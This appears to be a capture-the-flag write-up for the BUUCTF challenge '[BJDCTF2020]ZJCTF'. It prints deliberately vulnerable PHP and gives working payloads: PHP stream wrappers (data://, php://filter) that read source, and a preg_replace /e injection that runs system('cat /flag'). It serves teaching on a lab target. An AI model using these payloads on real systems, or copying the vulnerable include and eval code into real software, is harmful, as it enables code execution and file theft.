当前位置:网站首页>Buuctf Web [bjdctf2020] zjctf, but so
Buuctf Web [bjdctf2020] zjctf, but so
2022-04-23 12:33:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]ZJCTF, nothing more than this
-
Get the source code after entering the environment
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
-
Use PHP Pseudo protocol construction payload
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
The echo
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
base64 Decrypt
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
-
You can see here cmd There is a command execution vulnerability in parameter , But the question is how to call getFlag() function . This involves preg_replace /e Pattern code execution vulnerability
function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; }
if payload by
/?.*={${phpinfo()}}
be
Original statement : preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); It becomes a statement : preg_replace('/(.*)/ei', 'strtolower("\\1")', { ${ phpinfo()}});
Be careful : Add... To both sides of regular expression pattern or partial pattern
()
Store the string that causes the match in the temporary buffer , Buffer number from 1 Start , Maximum storage 99 Sub expression . Each buffer can be used\n
visit , among n Number the buffer .preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
It will put{${phpinfo()}}
Store to buffer 1, At this time, the matched string is/(\\1)/ei
,\\1
namely\1
, This will cause the contents of the backreference buffer , Change it to/{${phpinfo()}}/ei
, This causes the command to execute . -
In the subject ,PHP Will send the incoming illegal
$_GET
Array parameter names are converted to underscores , the.*
Turn into_
. You can modify payload by?\S*=${getFlag()}&cmd=...
among
\S
Means to match any non whitespace character , So that we can call getFlag The purpose of the function -
structure payload
?\S*=${getFlag()}&cmd=system('cat /flag');
The echo
flag{6b53cc7c-e9e8-47a1-80ed-10ca16c81ae5} system('cat /flag');
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231227159478.html
边栏推荐
- SQLserver怎么插入或更新当天的星期数,bit而不是文本
- Fastjson 2 来了,性能继续提升,还能再战十年
- 亿级流量架构,服务器如何扩容?写得太好了!
- Idea code formatting plug-in save actions
- MySQL函数-递归函数
- QT double buffer drawing
- 论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
- Web17——EL与JSTL的使用
- Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years
- Qt双缓冲绘图
猜你喜欢
A graphic designer's fantasy world | ones characters
QT interprocess communication
Fastjson 2 来了,性能继续提升,还能再战十年
The maximum number of remote desktop servers has been exceeded
IDEA 代码格式化插件Save Actions
大家帮我看一下这是啥情况,MySQL5.5的。谢了
软件测试基础DAY2-用例执行
为什么要有包装类,顺便说一说基本数据类型、包装类、String类该如何转换?
Qt一个进程运行另一个进程
Running error: unable to find or load the main class com xxx. Application
随机推荐
洛谷P5540 [BalkanOI2011] timeismoney | 最小乘积生成树 题解
Next. JS static data generation and server-side rendering
Running error: unable to find or load the main class com xxx. Application
对称加密、证书加密
How do programmers finalize nucleic acid statistics with 130 lines of code
In idea Solution to the problem of garbled code in Chinese display of properties file
S2-062 远程命令执行漏洞复现(cve-2021-31805)
Database Navigator 使用默认MySQL连接提示:The server time zone value ‘Öйú±ê׼ʱ¼ä’ is unrecognized or repres
After a circle, I sorted out this set of interview questions..
Stm32cubeprogrammer basic instructions
Web17——EL与JSTL的使用
Zigbee之CC2530最小系统及寄存器配置(1)
IDEA 代码格式化插件Save Actions
5-minute NLP: text to text transfer transformer (T5) unified text to text task model
Metalama简介4.使用Fabric操作项目或命名空间
Why is the premise of hash% length = = hash & (length-1) that length is the nth power of 2
worder字体网页字体对照表
IDEA 数据库插件Database Navigator 插件
消息队列概述
Source code analysis of synchronousqueue